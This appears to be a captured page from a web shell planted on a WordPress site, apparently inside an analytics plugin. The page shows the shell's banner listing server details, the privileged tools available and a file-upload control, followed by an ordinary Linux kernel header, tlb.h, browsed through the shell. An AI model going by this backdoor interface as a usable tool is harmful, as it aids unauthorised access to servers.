Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/src/linux-headers-6.8.0-136-generic/arch/x86/include/asm/ |
Upload File : |
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_X86_TLB_H
#define _ASM_X86_TLB_H
#define tlb_flush tlb_flush
static inline void tlb_flush(struct mmu_gather *tlb);
#include <asm-generic/tlb.h>
static inline void tlb_flush(struct mmu_gather *tlb)
{
unsigned long start = 0UL, end = TLB_FLUSH_ALL;
unsigned int stride_shift = tlb_get_unmap_shift(tlb);
if (!tlb->fullmm && !tlb->need_flush_all) {
start = tlb->start;
end = tlb->end;
}
flush_tlb_mm_range(tlb->mm, start, end, stride_shift, tlb->freed_tables);
}
/*
* While x86 architecture in general requires an IPI to perform TLB
* shootdown, enablement code for several hypervisors overrides
* .flush_tlb_others hook in pv_mmu_ops and implements it by issuing
* a hypercall. To keep software pagetable walkers safe in this case we
* switch to RCU based table free (MMU_GATHER_RCU_TABLE_FREE). See the comment
* below 'ifdef CONFIG_MMU_GATHER_RCU_TABLE_FREE' in include/asm-generic/tlb.h
* for more details.
*/
static inline void __tlb_remove_table(void *table)
{
free_page_and_swap_cache(table);
}
static inline void invlpg(unsigned long addr)
{
asm volatile("invlpg (%0)" ::"r" (addr) : "memory");
}
#endif /* _ASM_X86_TLB_H */